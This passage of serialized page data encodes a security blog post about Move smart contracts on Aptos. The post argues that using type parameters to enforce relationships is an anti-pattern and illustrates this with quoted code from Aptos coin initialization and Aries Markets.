",{"type":21,"tag":5302,"props":9246,"children":9247},{},[9248],{"type":26,"value":9249},"must",{"type":26,"value":9251}," be specified so it's impossible to forget such a constraint",{"type":21,"tag":91,"props":9253,"children":9254},{},[9255],{"type":26,"value":9256},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":21,"tag":22,"props":9258,"children":9259},{},[9260],{"type":26,"value":9261},"However, this system isn't perfect.",{"type":21,"tag":22,"props":9263,"children":9264},{},[9265,9267,9272],{"type":26,"value":9266},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":21,"tag":8055,"props":9268,"children":9269},{},[9270],{"type":26,"value":9271},"an anti-pattern",{"type":26,"value":355},{"type":21,"tag":22,"props":9274,"children":9275},{},[9276,9278,9284],{"type":26,"value":9277},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":21,"tag":78,"props":9279,"children":9281},{"className":9280},[],[9282],{"type":26,"value":9283},"CoinInfo\u003CCoinType>",{"type":26,"value":355},{"type":21,"tag":143,"props":9286,"children":9288},{"className":145,"code":9287,"language":147,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[9289],{"type":21,"tag":78,"props":9290,"children":9291},{"__ignoreMap":7},[9292,9319,9327,9396,9403,9410,9422,9466,9488],{"type":21,"tag":153,"props":9293,"children":9294},{"class":155,"line":156},[9295,9300,9305,9309,9314],{"type":21,"tag":153,"props":9296,"children":9297},{"style":192},[9298],{"type":26,"value":9299},"  fun",{"type":21,"tag":153,"props":9301,"children":9302},{"style":192},[9303],{"type":26,"value":9304}," initialize_internal",{"type":21,"tag":153,"props":9306,"children":9307},{"style":160},[9308],{"type":26,"value":8537},{"type":21,"tag":153,"props":9310,"children":9311},{"style":214},[9312],{"type":26,"value":9313},"CoinType",{"type":21,"tag":153,"props":9315,"children":9316},{"style":160},[9317],{"type":26,"value":9318},">(\n",{"type":21,"tag":153,"props":9320,"children":9321},{"class":155,"line":166},[9322],{"type":21,"tag":153,"props":9323,"children":9324},{"style":3050},[9325],{"type":26,"value":9326},"      // ...\n",{"type":21,"tag":153,"props":9328,"children":9329},{"class":155,"line":225},[9330,9335,9339,9343,9348,9352,9356,9361,9366,9370,9374,9378,9383,9387,9391],{"type":21,"tag":153,"props":9331,"children":9332},{"style":160},[9333],{"type":26,"value":9334},"  )",{"type":21,"tag":153,"props":9336,"children":9337},{"style":198},[9338],{"type":26,"value":201},{"type":21,"tag":153,"props":9340,"children":9341},{"style":160},[9342],{"type":26,"value":5820},{"type":21,"tag":153,"props":9344,"children":9345},{"style":214},[9346],{"type":26,"value":9347},"BurnCapability",{"type":21,"tag":153,"props":9349,"children":9350},{"style":160},[9351],{"type":26,"value":8537},{"type":21,"tag":153,"props":9353,"children":9354},{"style":214},[9355],{"type":26,"value":9313},{"type":21,"tag":153,"props":9357,"children":9358},{"style":160},[9359],{"type":26,"value":9360},">, ",{"type":21,"tag":153,"props":9362,"children":9363},{"style":214},[9364],{"type":26,"value":9365},"FreezeCapability",{"type":21,"tag":153,"props":9367,"children":9368},{"style":160},[9369],{"type":26,"value":8537},{"type":21,"tag":153,"props":9371,"children":9372},{"style":214},[9373],{"type":26,"value":9313},{"type":21,"tag":153,"props":9375,"children":9376},{"style":160},[9377],{"type":26,"value":9360},{"type":21,"tag":153,"props":9379,"children":9380},{"style":214},[9381],{"type":26,"value":9382},"MintCapability",{"type":21,"tag":153,"props":9384,"children":9385},{"style":160},[9386],{"type":26,"value":8537},{"type":21,"tag":153,"props":9388,"children":9389},{"style":214},[9390],{"type":26,"value":9313},{"type":21,"tag":153,"props":9392,"children":9393},{"style":160},[9394],{"type":26,"value":9395},">) {\n",{"type":21,"tag":153,"props":9397,"children":9398},{"class":155,"line":239},[9399],{"type":21,"tag":153,"props":9400,"children":9401},{"style":3050},[9402],{"type":26,"value":9326},{"type":21,"tag":153,"props":9404,"children":9405},{"class":155,"line":382},[9406],{"type":21,"tag":153,"props":9407,"children":9408},{"emptyLinePlaceholder":16},[9409],{"type":26,"value":759},{"type":21,"tag":153,"props":9411,"children":9412},{"class":155,"line":501},[9413,9418],{"type":21,"tag":153,"props":9414,"children":9415},{"style":181},[9416],{"type":26,"value":9417},"      assert!",{"type":21,"tag":153,"props":9419,"children":9420},{"style":160},[9421],{"type":26,"value":773},{"type":21,"tag":153,"props":9423,"children":9424},{"class":155,"line":533},[9425,9430,9435,9439,9444,9448,9452,9457,9462],{"type":21,"tag":153,"props":9426,"children":9427},{"style":198},[9428],{"type":26,"value":9429},"          !",{"type":21,"tag":153,"props":9431,"children":9432},{"style":192},[9433],{"type":26,"value":9434},"exists",{"type":21,"tag":153,"props":9436,"children":9437},{"style":160},[9438],{"type":26,"value":8537},{"type":21,"tag":153,"props":9440,"children":9441},{"style":214},[9442],{"type":26,"value":9443},"CoinInfo",{"type":21,"tag":153,"props":9445,"children":9446},{"style":160},[9447],{"type":26,"value":8537},{"type":21,"tag":153,"props":9449,"children":9450},{"style":214},[9451],{"type":26,"value":9313},{"type":21,"tag":153,"props":9453,"children":9454},{"style":160},[9455],{"type":26,"value":9456},">>(",{"type":21,"tag":153,"props":9458,"children":9459},{"style":192},[9460],{"type":26,"value":9461},"account_addr",{"type":21,"tag":153,"props":9463,"children":9464},{"style":160},[9465],{"type":26,"value":679},{"type":21,"tag":153,"props":9467,"children":9468},{"class":155,"line":542},[9469,9474,9478,9483],{"type":21,"tag":153,"props":9470,"children":9471},{"style":160},[9472],{"type":26,"value":9473},"          error",{"type":21,"tag":153,"props":9475,"children":9476},{"style":198},[9477],{"type":26,"value":265},{"type":21,"tag":153,"props":9479,"children":9480},{"style":181},[9481],{"type":26,"value":9482},"already_exists",{"type":21,"tag":153,"props":9484,"children":9485},{"style":160},[9486],{"type":26,"value":9487},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":21,"tag":153,"props":9489,"children":9490},{"class":155,"line":762},[9491],{"type":21,"tag":153,"props":9492,"children":9493},{"style":160},[9494],{"type":26,"value":9495},"      );\n",{"type":21,"tag":22,"props":9497,"children":9498},{},[9499,9501,9506],{"type":26,"value":9500},"While this ",{"type":21,"tag":78,"props":9502,"children":9504},{"className":9503},[],[9505],{"type":26,"value":9443},{"type":26,"value":9507}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":21,"tag":22,"props":9509,"children":9510},{},[9511,9513,9520],{"type":26,"value":9512},"Similarly, consider ",{"type":21,"tag":29,"props":9514,"children":9517},{"href":9515,"rel":9516},"https://ariesmarkets.xyz/",[33],[9518],{"type":26,"value":9519},"Aries Markets",{"type":26,"value":9521},", a lending/borrowing protocol building on Aptos.",{"type":21,"tag":22,"props":9523,"children":9524},{},[9525,9527,9533],{"type":26,"value":9526},"Their ",{"type":21,"tag":78,"props":9528,"children":9530},{"className":9529},[],[9531],{"type":26,"value":9532},"ReserveCoinContainer",{"type":26,"value":9534}," struct stores all the relevant data and resources for managing a lending market.",{"type":21,"tag":143,"props":9536,"children":9538},{"className":145,"code":9537,"language":147,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[9539],{"type":21,"tag":78,"props":9540,"children":9541},{"__ignoreMap":7},[9542,9550,9558,9599,9607,9636,9644,9681,9689,9726,9734,9771,9778,9785],{"type":21,"tag":153,"props":9543,"children":9544},{"class":155,"line":156},[9545],{"type":21,"tag":153,"props":9546,"children":9547},{"style":3050},[9548],{"type":26,"value":9549},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":21,"tag":153,"props":9551,"children":9552},{"class":155,"line":166},[9553],{"type":21,"tag":153,"props":9554,"children":9555},{"style":3050},[9556],{"type":26,"value":9557},"  /// Stored as a resources.\n",{"type":21,"tag":153,"props":9559,"children":9560},{"class":155,"line":225},[9561,9565,9570,9574,9578,9583,9587,9591,9595],{"type":21,"tag":153,"props":9562,"children":9563},{"style":170},[9564],{"type":26,"value":8527},{"type":21,"tag":153,"props":9566,"children":9567},{"style":214},[9568],{"type":26,"value":9569}," ReserveCoinContainer",{"type":21,"tag":153,"props":9571,"children":9572},{"style":160},[9573],{"type":26,"value":8537},{"type":21,"tag":153,"props":9575,"children":9576},{"style":192},[9577],{"type":26,"value":8542},{"type":21,"tag":153,"props":9579,"children":9580},{"style":214},[9581],{"type":26,"value":9582}," Coin0",{"type":21,"tag":153,"props":9584,"children":9585},{"style":160},[9586],{"type":26,"value":4109},{"type":21,"tag":153,"props":9588,"children":9589},{"style":192},[9590],{"type":26,"value":8556},{"type":21,"tag":153,"props":9592,"children":9593},{"style":192},[9594],{"type":26,"value":8661},{"type":21,"tag":153,"props":9596,"children":9597},{"style":160},[9598],{"type":26,"value":236},{"type":21,"tag":153,"props":9600,"children":9601},{"class":155,"line":239},[9602],{"type":21,"tag":153,"props":9603,"children":9604},{"style":3050},[9605],{"type":26,"value":9606},"      /// Stores the available `Coin`.\n",{"type":21,"tag":153,"props":9608,"children":9609},{"class":155,"line":382},[9610,9615,9619,9623,9627,9632],{"type":21,"tag":153,"props":9611,"children":9612},{"style":192},[9613],{"type":26,"value":9614},"      underlying_coin",{"type":21,"tag":153,"props":9616,"children":9617},{"style":198},[9618],{"type":26,"value":201},{"type":21,"tag":153,"props":9620,"children":9621},{"style":214},[9622],{"type":26,"value":8532},{"type":21,"tag":153,"props":9624,"children":9625},{"style":160},[9626],{"type":26,"value":8537},{"type":21,"tag":153,"props":9628,"children":9629},{"style":214},[9630],{"type":26,"value":9631},"Coin0",{"type":21,"tag":153,"props":9633,"children":9634},{"style":160},[9635],{"type":26,"value":8867},{"type":21,"tag":153,"props":9637,"children":9638},{"class":155,"line":501},[9639],{"type":21,"tag":153,"props":9640,"children":9641},{"style":3050},[9642],{"type":26,"value":9643},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":21,"tag":153,"props":9645,"children":9646},{"class":155,"line":533},[9647,9652,9656,9660,9664,9668,9672,9676],{"type":21,"tag":153,"props":9648,"children":9649},{"style":192},[9650],{"type":26,"value":9651},"      collateralised_lp_coin",{"type":21,"tag":153,"props":9653,"children":9654},{"style":198},[9655],{"type":26,"value":201},{"type":21,"tag":153,"props":9657,"children":9658},{"style":214},[9659],{"type":26,"value":8532},{"type":21,"tag":153,"props":9661,"children":9662},{"style":160},[9663],{"type":26,"value":8537},{"type":21,"tag":153,"props":9665,"children":9666},{"style":214},[9667],{"type":26,"value":9064},{"type":21,"tag":153,"props":9669,"children":9670},{"style":160},[9671],{"type":26,"value":8537},{"type":21,"tag":153,"props":9673,"children":9674},{"style":214},[9675],{"type":26,"value":9631},{"type":21,"tag":153,"props":9677,"children":9678},{"style":160},[9679],{"type":26,"value":9680},">>,\n",{"type":21,"tag":153,"props":9682,"children":9683},{"class":155,"line":542},[9684],{"type":21,"tag":153,"props":9685,"children":9686},{"style":3050},[9687],{"type":26,"value":9688},"      /// Mint capability for LP Coin.\n",{"type":21,"tag":153,"props":9690,"children":9691},{"class":155,"line":762},[9692,9697,9701,9706,9710,9714,9718,9722],{"type":21,"tag":153,"props":9693,"children":9694},{"style":192},[9695],{"type":26,"value":9696},"      mint_capability",{"type":21,"tag":153,"props":9698,"children":9699},{"style":198},[9700],{"type":26,"value":201},{"type":21,"tag":153,"props":9702,"children":9703},{"style":214},[9704],{"type":26,"value":9705}," MintCapability",{"type":21,"tag":153,"props":9707,"children":9708},{"style":160},[9709],{"type":26,"value":8537},{"type":21,"tag":153,"props":9711,"children":9712},{"style":214},[9713],{"type":26,"value":9064},{"type":21,"tag":153,"props":9715,"children":9716},{"style":160},[9717],{"type":26,"value":8537},{"type":21,"tag":153,"props":9719,"children":9720},{"style":214},[9721],{"type":26,"value":9631},{"type":21,"tag":153,"props":9723,"children":9724},{"style":160},[9725],{"type":26,"value":9680},{"type":21,"tag":153,"props":9727,"children":9728},{"class":155,"line":776},[9729],{"type":21,"tag":153,"props":9730,"children":9731},{"style":3050},[9732],{"type":26,"value":9733},"      /// Burn capability for LP Coin.\n",{"type":21,"tag":153,"props":9735,"children":9736},{"class":155,"line":795},[9737,9742,9746,9751,9755,9759,9763,9767],{"type":21,"tag":153,"props":9738,"children":9739},{"style":192},[9740],{"type":26,"value":9741},"      burn_capability",{"type":21,"tag":153,"props":9743,"children":9744},{"style":198},[9745],{"type":26,"value":201},{"type":21,"tag":153,"props":9747,"children":9748},{"style":214},[9749],{"type":26,"value":9750}," BurnCapability",{"type":21,"tag":153,"props":9752,"children":9753},{"style":160},[9754],{"type":26,"value":8537},{"type":21,"tag":153,"props":9756,"children":9757},{"style":214},[9758],{"type":26,"value":9064},{"type":21,"tag":153,"props":9760,"children":9761},{"style":160},[9762],{"type":26,"value":8537},{"type":21,"tag":153,"props":9764,"children":9765},{"style":214},[9766],{"type":26,"value":9631},{"type":21,"tag":153,"props":9768,"children":9769},{"style":160},[9770],{"type":26,"value":9680},{"type":21,"tag":153,"props":9772,"children":9773},{"class":155,"line":808},[9774],{"type":21,"tag":153,"props":9775,"children":9776},{"emptyLinePlaceholder":16},[9777],{"type":26,"value":759},{"type":21,"tag":153,"props":9779,"children":9780},{"class":155,"line":820},[9781],{"type":21,"tag":153,"props":9782,"children":9783},{"style":3050},[9784],{"type":26,"value":9326},{"type":21,"tag":153,"props":9786,"children":9787},{"class":155,"line":842},[9788],{"type":21,"tag":153,"props":9789,"children":9790},{"style":160},[9791],{"type":26,"value":8601},{"type":21,"tag":22,"props":9793,"children":9794},{},[9795,9797,9802],{"type":26,"value":9796},"When creating a ",{"type":21,"tag":78,"props":9798,"children":9800},{"className":9799},[],[9801],{"type":26,"value":9532},{"type":26,"value":9803},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":21,"tag":143,"props":9805,"children":9807},{"className":145,"code":9806,"language":147,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[9808],{"type":21,"tag":78,"props":9809,"children":9810},{"__ignoreMap":7},[9811,9854,9879,9886,9907,9952,9959,9966,9973,10010,10017],{"type":21,"tag":153,"props":9812,"children":9813},{"class":155,"line":156},[9814,9819,9823,9828,9832,9837,9842,9846,9850],{"type":21,"tag":153,"props":9815,"children":9816},{"style":181},[9817],{"type":26,"value":9818},"  public",{"type":21,"tag":153,"props":9820,"children":9821},{"style":160},[9822],{"type":26,"value":189},{"type":21,"tag":153,"props":9824,"children":9825},{"style":192},[9826],{"type":26,"value":9827},"friend",{"type":21,"tag":153,"props":9829,"children":9830},{"style":160},[9831],{"type":26,"value":2362},{"type":21,"tag":153,"props":9833,"children":9834},{"style":192},[9835],{"type":26,"value":9836},"fun",{"type":21,"tag":153,"props":9838,"children":9839},{"style":192},[9840],{"type":26,"value":9841}," create",{"type":21,"tag":153,"props":9843,"children":9844},{"style":160},[9845],{"type":26,"value":8537},{"type":21,"tag":153,"props":9847,"children":9848},{"style":214},[9849],{"type":26,"value":9631},{"type":21,"tag":153,"props":9851,"children":9852},{"style":160},[9853],{"type":26,"value":9318},{"type":21,"tag":153,"props":9855,"children":9856},{"class":155,"line":166},[9857,9862,9866,9870,9875],{"type":21,"tag":153,"props":9858,"children":9859},{"style":192},[9860],{"type":26,"value":9861},"      lp_store",{"type":21,"tag":153,"props":9863,"children":9864},{"style":198},[9865],{"type":26,"value":201},{"type":21,"tag":153,"props":9867,"children":9868},{"style":198},[9869],{"type":26,"value":206},{"type":21,"tag":153,"props":9871,"children":9872},{"style":192},[9873],{"type":26,"value":9874},"signer",{"type":21,"tag":153,"props":9876,"children":9877},{"style":160},[9878],{"type":26,"value":792},{"type":21,"tag":153,"props":9880,"children":9881},{"class":155,"line":225},[9882],{"type":21,"tag":153,"props":9883,"children":9884},{"style":3050},[9885],{"type":26,"value":9326},{"type":21,"tag":153,"props":9887,"children":9888},{"class":155,"line":239},[9889,9894,9898,9903],{"type":21,"tag":153,"props":9890,"children":9891},{"style":160},[9892],{"type":26,"value":9893},"  ) ",{"type":21,"tag":153,"props":9895,"children":9896},{"style":192},[9897],{"type":26,"value":9073},{"type":21,"tag":153,"props":9899,"children":9900},{"style":214},[9901],{"type":26,"value":9902}," Reserves",{"type":21,"tag":153,"props":9904,"children":9905},{"style":160},[9906],{"type":26,"value":236},{"type":21,"tag":153,"props":9908,"children":9909},{"class":155,"line":382},[9910,9915,9919,9924,9929,9933,9938,9942,9947],{"type":21,"tag":153,"props":9911,"children":9912},{"style":160},[9913],{"type":26,"value":9914},"      lp",{"type":21,"tag":153,"props":9916,"children":9917},{"style":198},[9918],{"type":26,"value":265},{"type":21,"tag":153,"props":9920,"children":9921},{"style":181},[9922],{"type":26,"value":9923},"assert_is_lp_store",{"type":21,"tag":153,"props":9925,"children":9926},{"style":160},[9927],{"type":26,"value":9928},"(signer",{"type":21,"tag":153,"props":9930,"children":9931},{"style":198},[9932],{"type":26,"value":265},{"type":21,"tag":153,"props":9934,"children":9935},{"style":181},[9936],{"type":26,"value":9937},"address_of",{"type":21,"tag":153,"props":9939,"children":9940},{"style":160},[9941],{"type":26,"value":189},{"type":21,"tag":153,"props":9943,"children":9944},{"style":192},[9945],{"type":26,"value":9946},"lp_store",{"type":21,"tag":153,"props":9948,"children":9949},{"style":160},[9950],{"type":26,"value":9951},"));\n",{"type":21,"tag":153,"props":9953,"children":9954},{"class":155,"line":501},[9955],{"type":21,"tag":153,"props":9956,"children":9957},{"emptyLinePlaceholder":16},[9958],{"type":26,"value":759},{"type":21,"tag":153,"props":9960,"children":9961},{"class":155,"line":533},[9962],{"type":21,"tag":153,"props":9963,"children":9964},{"style":3050},[9965],{"type":26,"value":9326},{"type":21,"tag":153,"props":9967,"children":9968},{"class":155,"line":542},[9969],{"type":21,"tag":153,"props":9970,"children":9971},{"emptyLinePlaceholder":16},[9972],{"type":26,"value":759},{"type":21,"tag":153,"props":9974,"children":9975},{"class":155,"line":762},[9976,9981,9985,9989,9993,9997,10001,10005],{"type":21,"tag":153,"props":9977,"children":9978},{"style":181},[9979],{"type":26,"value":9980},"      move_to",{"type":21,"tag":153,"props":9982,"children":9983},{"style":160},[9984],{"type":26,"value":189},{"type":21,"tag":153,"props":9986,"children":9987},{"style":192},[9988],{"type":26,"value":9946},{"type":21,"tag":153,"props":9990,"children":9991},{"style":160},[9992],{"type":26,"value":1670},{"type":21,"tag":153,"props":9994,"children":9995},{"style":214},[9996],{"type":26,"value":9532},{"type":21,"tag":153,"props":9998,"children":9999},{"style":160},[10000],{"type":26,"value":8537},{"type":21,"tag":153,"props":10002,"children":10003},{"style":214},[10004],{"type":26,"value":9631},{"type":21,"tag":153,"props":10006,"children":10007},{"style":160},[10008],{"type":26,"value":10009},"> {\n",{"type":21,"tag":153,"props":10011,"children":10012},{"class":155,"line":776},[10013],{"type":21,"tag":153,"props":10014,"children":10015},{"style":3050},[10016],{"type":26,"value":8904},{"type":21,"tag":153,"props":10018,"children":10019},{"class":155,"line":795},[10020],{"type":21,"tag":153,"props":10021,"children":10022},{"style":160},[10023],{"type":26,"value":10024},"      });\n",{"type":21,"tag":22,"props":10026,"children":10027},{},[10028],{"type":26,"value":10029},"In both these instances, type association only works because we create exactly one instance per type.",{"type":21,"tag":22,"props":10031,"children":10032},{},[10033,10035,10041,10043,10049,10051,10056],{"type":26,"value":10034},"On the other hand, consider if you have a ",{"type":21,"tag":78,"props":10036,"children":10038},{"className":10037},[],[10039],{"type":26,"value":10040},"Position\u003CT>",{"type":26,"value":10042}," and a ",{"type":21,"tag":78,"props":10044,"children":10046},{"className":10045},[],[10047],{"type":26,"value":10048},"Market\u003CT>",{"type":26,"value":10050}," where ",{"type":21,"tag":78,"props":10052,"children":10054},{"className":10053},[],[10055],{"type":26,"value":8717},{"type":26,"value":10057}," is the coin type.",{"type":21,"tag":143,"props":10059,"children":10061},{"className":145,"code":10060,"language":147,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[10062],{"type":21,"tag":78,"props":10063,"children":10064},{"__ignoreMap":7},[10065,10093,10121,10128,10135,10142,10170,10190,10197],{"type":21,"tag":153,"props":10066,"children":10067},{"class":155,"line":156},[10068,10072,10077,10081,10085,10089],{"type":21,"tag":153,"props":10069,"children":10070},{"style":170},[10071],{"type":26,"value":8781},{"type":21,"tag":153,"props":10073,"children":10074},{"style":214},[10075],{"type":26,"value":10076}," Market",{"type":21,"tag":153,"props":10078,"children":10079},{"style":160},[10080],{"type":26,"value":8537},{"type":21,"tag":153,"props":10082,"children":10083},{"style":192},[10084],{"type":26,"value":8542},{"type":21,"tag":153,"props":10086,"children":10087},{"style":214},[10088],{"type":26,"value":8648},{"type":21,"tag":153,"props":10090,"children":10091},{"style":160},[10092],{"type":26,"value":10009},{"type":21,"tag":153,"props":10094,"children":10095},{"class":155,"line":166},[10096,10101,10105,10109,10113,10117],{"type":21,"tag":153,"props":10097,"children":10098},{"style":192},[10099],{"type":26,"value":10100},"        reserves",{"type":21,"tag":153,"props":10102,"children":10103},{"style":198},[10104],{"type":26,"value":201},{"type":21,"tag":153,"props":10106,"children":10107},{"style":214},[10108],{"type":26,"value":8532},{"type":21,"tag":153,"props":10110,"children":10111},{"style":160},[10112],{"type":26,"value":8537},{"type":21,"tag":153,"props":10114,"children":10115},{"style":214},[10116],{"type":26,"value":8717},{"type":21,"tag":153,"props":10118,"children":10119},{"style":160},[10120],{"type":26,"value":8867},{"type":21,"tag":153,"props":10122,"children":10123},{"class":155,"line":225},[10124],{"type":21,"tag":153,"props":10125,"children":10126},{"style":3050},[10127],{"type":26,"value":8904},{"type":21,"tag":153,"props":10129,"children":10130},{"class":155,"line":239},[10131],{"type":21,"tag":153,"props":10132,"children":10133},{"style":160},[10134],{"type":26,"value":539},{"type":21,"tag":153,"props":10136,"children":10137},{"class":155,"line":382},[10138],{"type":21,"tag":153,"props":10139,"children":10140},{"emptyLinePlaceholder":16},[10141],{"type":26,"value":759},{"type":21,"tag":153,"props":10143,"children":10144},{"class":155,"line":501},[10145,10149,10154,10158,10162,10166],{"type":21,"tag":153,"props":10146,"children":10147},{"style":170},[10148],{"type":26,"value":8781},{"type":21,"tag":153,"props":10150,"children":10151},{"style":214},[10152],{"type":26,"value":10153}," Position",{"type":21,"tag":153,"props":10155,"children":10156},{"style":160},[10157],{"type":26,"value":8537},{"type":21,"tag":153,"props":10159,"children":10160},{"style":192},[10161],{"type":26,"value":8542},{"type":21,"tag":153,"props":10163,"children":10164},{"style":214},[10165],{"type":26,"value":8648},{"type":21,"tag":153,"props":10167,"children":10168},{"style":160},[10169],{"type":26,"value":10009},{"type":21,"tag":153,"props":10171,"children":10172},{"class":155,"line":533},[10173,10178,10182,10186],{"type":21,"tag":153,"props":10174,"children":10175},{"style":192},[10176],{"type":26,"value":10177},"        amount",{"type":21,"tag":153,"props":10179,"children":10180},{"style":198},[10181],{"type":26,"value":201},{"type":21,"tag":153,"props":10183,"children":10184},{"style":214},[10185],{"type":26,"value":323},{"type":21,"tag":153,"props":10187,"children":10188},{"style":160},[10189],{"type":26,"value":792},{"type":21,"tag":153,"props":10191,"children":10192},{"class":155,"line":542},[10193],{"type":21,"tag":153,"props":10194,"children":10195},{"style":3050},[10196],{"type":26,"value":8904},{"type":21,"tag":153,"props":10198,"children":10199},{"class":155,"line":762},[10200],{"type":21,"tag":153,"props":10201,"children":10202},{"style":160},[10203],{"type":26,"value":539},{"type":21,"tag":22,"props":10205,"children":10206},{},[10207,10208,10213,10215,10220],{"type":26,"value":133},{"type":21,"tag":78,"props":10209,"children":10211},{"className":10210},[],[10212],{"type":26,"value":10048},{"type":26,"value":10214}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":21,"tag":78,"props":10216,"children":10218},{"className":10217},[],[10219],{"type":26,"value":8717},{"type":26,"value":10221}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":21,"tag":22,"props":10223,"children":10224},{},[10225],{"type":26,"value":10226},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":21,"tag":143,"props":10228,"children":10230},{"className":145,"code":10229,"language":147,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[10231],{"type":21,"tag":78,"props":10232,"children":10233},{"__ignoreMap":7},[10234,10242,10304,10352,10404,10429,10441,10463,10471,10484],{"type":21,"tag":153,"props":10235,"children":10236},{"class":155,"line":156},[10237],{"type":21,"tag":153,"props":10238,"children":10239},{"style":3050},[10240],{"type":26,"value":10241},"    /// Get the price of the token per lamport.\n",{"type":21,"tag":153,"props":10243,"children":10244},{"class":155,"line":166},[10245,10250,10254,10259,10263,10268,10272,10277,10281,10285,10290,10295,10300],{"type":21,"tag":153,"props":10246,"children":10247},{"style":192},[10248],{"type":26,"value":10249},"    public",{"type":21,"tag":153,"props":10251,"children":10252},{"style":192},[10253],{"type":26,"value":8936},{"type":21,"tag":153,"props":10255,"children":10256},{"style":181},[10257],{"type":26,"value":10258}," get_price",{"type":21,"tag":153,"props":10260,"children":10261},{"style":160},[10262],{"type":26,"value":189},{"type":21,"tag":153,"props":10264,"children":10265},{"style":192},[10266],{"type":26,"value":10267},"type_info",{"type":21,"tag":153,"props":10269,"children":10270},{"style":198},[10271],{"type":26,"value":201},{"type":21,"tag":153,"props":10273,"children":10274},{"style":214},[10275],{"type":26,"value":10276}," TypeInfo",{"type":21,"tag":153,"props":10278,"children":10279},{"style":160},[10280],{"type":26,"value":2071},{"type":21,"tag":153,"props":10282,"children":10283},{"style":198},[10284],{"type":26,"value":201},{"type":21,"tag":153,"props":10286,"children":10287},{"style":214},[10288],{"type":26,"value":10289}," Decimal",{"type":21,"tag":153,"props":10291,"children":10292},{"style":192},[10293],{"type":26,"value":10294}," acquires",{"type":21,"tag":153,"props":10296,"children":10297},{"style":214},[10298],{"type":26,"value":10299}," Oracle",{"type":21,"tag":153,"props":10301,"children":10302},{"style":160},[10303],{"type":26,"value":236},{"type":21,"tag":153,"props":10305,"children":10306},{"class":155,"line":225},[10307,10311,10316,10320,10325,10329,10334,10338,10343,10348],{"type":21,"tag":153,"props":10308,"children":10309},{"style":170},[10310],{"type":26,"value":245},{"type":21,"tag":153,"props":10312,"children":10313},{"style":192},[10314],{"type":26,"value":10315}," oracle",{"type":21,"tag":153,"props":10317,"children":10318},{"style":198},[10319],{"type":26,"value":255},{"type":21,"tag":153,"props":10321,"children":10322},{"style":192},[10323],{"type":26,"value":10324}," borrow_global_mut",{"type":21,"tag":153,"props":10326,"children":10327},{"style":160},[10328],{"type":26,"value":8537},{"type":21,"tag":153,"props":10330,"children":10331},{"style":214},[10332],{"type":26,"value":10333},"Oracle",{"type":21,"tag":153,"props":10335,"children":10336},{"style":160},[10337],{"type":26,"value":328},{"type":21,"tag":153,"props":10339,"children":10340},{"style":198},[10341],{"type":26,"value":10342},"@",{"type":21,"tag":153,"props":10344,"children":10345},{"style":192},[10346],{"type":26,"value":10347},"oracle",{"type":21,"tag":153,"props":10349,"children":10350},{"style":160},[10351],{"type":26,"value":530},{"type":21,"tag":153,"props":10353,"children":10354},{"class":155,"line":239},[10355,10359,10364,10368,10373,10377,10382,10386,10391,10395,10400],{"type":21,"tag":153,"props":10356,"children":10357},{"style":170},[10358],{"type":26,"value":245},{"type":21,"tag":153,"props":10360,"children":10361},{"style":192},[10362],{"type":26,"value":10363}," price",{"type":21,"tag":153,"props":10365,"children":10366},{"style":198},[10367],{"type":26,"value":255},{"type":21,"tag":153,"props":10369,"children":10370},{"style":160},[10371],{"type":26,"value":10372}," 